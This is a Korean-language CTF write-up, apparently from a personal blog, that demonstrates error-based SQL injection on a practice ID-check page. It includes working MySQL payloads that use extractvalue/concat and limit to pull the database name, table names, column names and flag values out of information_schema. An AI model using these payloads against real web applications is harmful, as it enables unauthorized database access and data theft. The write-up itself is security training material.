[1]Reconnaissance
Analysis Page
-ID 중복 검사 페이지로, 존재하는 ID를 입력하면 "존재하는 아이디입니다."를 출력하고 아래에는 사용된 쿼리를 출력해줍니다.
Check vulnerability
-먼저 SQL Injeciton이 가능한지를 확인하기 위해, "normaltic' and '1'='1" 을 입력해보겠습니다.
-"존재하는 아이디입니다"라고 출력이 되는 것을 보아 SQLi 공격이 가능한 것으로 보입니다.
-또한 구문오류를 발생시키자, 에러 메세지가 직접 출력되는 것을 볼 수 있습니다.
Check Structure
-union을 이용하여, 컬럼을 수를 알아보겠습니다.
-union을 통해 가져온 컬럼이 3개까지는 에러가 발생했으나, 4개에서 에러가 발생하지 않고 올바르게 동작하므로 가져오는 컬럼이 4개인 것을 알 수 있습니다.
[2]Vulnerability
Error based SQL Injeciton
-Error based SQL Injection이란, SQL 질의 결과와 Error 메세지가 화면에 출력될 때, 이를 이용하여 정보를 추출하는 SQLi 방식입니다.
-이때 사용하는 에러는 단순 문법 에러가 아닌, 실행되는 과정에서 발생되는 로직 에러여야 하고, 동시에 SQL에서 발생하는 에러여야 합니다.
extractvalue(xml_fragment, xpath_expression)
-extractvalue 함수는 mysql에서 xml 데이터 안에서 xpath 표현식과 일치하는 데이터를 추출하는 함수인데, 만약 두 번째 인자가 적절하지 않은 인자인 경우 에러가 발생합니다.
extractvalue(1, concat(0x3a,'1'))
-예를 들어 위와 같이 입력한다면, "XPATH syntax error: ';a'"을 출력합니다. 위의 구문에서 concat의 두 인자 ':'과 '1'은 :과 1을 서로 붙이겠다는 의미인데, 두 번째 인자에 해당하는 '1'은 문자열 뿐 아니라 쿼리를 삽입할 수 있고 이 경우 그 결과를 출력하게 됩니다.
-concat에서 앞의 0x3a는 ':'을 뜻하는 것으로 문자열 ':'을 삽입해도 되고, ':' 뿐 아니라 '$', '#', '^', ';' 등을 삽입해도 에러가 발생합니다. 이 중 '$'은 Unknown XPATH variable... 이라고 뜨는 것을 보면 XPATH에서 사용되는 기호는 삽입하면 되는 것으로 추측할 수 있습니다.
-따라서 Concat 첫 번째 인자에 위의 기호를, 두 번째 인자에 원하는 쿼리를 삽입하여 출력된 결과를 얻고 정보를 추출하여 Error based SQLi를 수행할 수 있습니다.
[1]Find DB
-Database를 먼저 찾아보겠습니다.
' and extractvalue(1, concat(';',(select database()))) and '1'='1
-현재 사용하는 DB의 이름은 'errSqli' 입니다.
[2]Find Table
-Table은 information_schema.tables 에서 찾을 수 있고, where table_schema = 'db_name' 으로 조건을 걸어 빠르게 찾을 수 있습니다.
' and extractvalue(1, concat(';',(select table_name from information_schema.tables where table_schema='errSqli'))) and '1'='1
-'Subquery returns more than 1 row'라는 에러 메세지가 출력되었습니다.
-이는 행이 하나만 출력되어야 하는데, 여러 개가 출력되었다는 메세지로 limit을 이용하여 결과의 수를 제한하여 해결할 수 있습니다.
select * from user limit 3 #결과 3개
select * from user limit 3,3 #4,5,6번째 결과
-위의 limit 구문은 결과를 3개로 제한한다는 뜻이고, 아래의 limit 구문은 3번째 이후의 결과 3개(4,5,6번째)를 가져온다는 뜻입니다.
-따라서 이전 payload의 삽입 쿼리 부분을 limit {원하는 결과 순서}, 1로 결과를 하나씩 제한하여 사용할 수 있습니다.
' and extractvalue(1, concat(';',(select table_name from information_schema.tables where table_schema='errSqli' limit 0,1))) and '1'='1
-첫 번째 결과는 flagTable 이네요.
-두 번째 결과는 member입니다.
-세 번째 결과는 plusFlag_Table 입니다.
-네 번째 결과는 존재하지 않았으므로, flagTable과 plusFlag_Table 중 Flag가 존재하겠군요.
[3]Find Column
-column은 Information_schema.columns에 존재하며, where table_name='table_name'으로 조건을 걸 수 있습니다.
-payload는 위와 같으며, flagTable과 plusFlag_Table 두 개의 테이블의 컬럼을 찾아보겠습니다. 마찬가지로 limit을 이용해 하나씩 결과를 뽑겠습니다.
' and extractvalue(1, concat(';',(select column_name from information_schema.columns where table_name='flagTable' limit 0,1))) and '1'='1
' and extractvalue(1, concat(';',(select column_name from information_schema.columns where table_name='plusFlag_Table' limit 0,1))) and '1'='1
flagTable's column
-idx
-flag
plusFlag_table's column
-idx
-flag
[3]Flag
-이제 두 개의 테이블의 flag 컬럼 값을 추출해보겠습니다.
' and extractvalue(1, concat(';',(select flag from flagTable limit 0,1))) and '1'='1
' and extractvalue(1, concat(';',(select flag from plusFlag_Table limit 0,1))) and '1'='1
'write-up > web' 카테고리의 다른 글
SQL Injeciton 3&4&5 (0) | 2024.06.03 |
---|---|
SQL Injection (Blind Practice) (0) | 2024.06.02 |
SQL Injection 2 (0) | 2024.05.24 |
SQL Injection 1 (0) | 2024.05.23 |
login bypass5&Secret Login (0) | 2024.05.22 |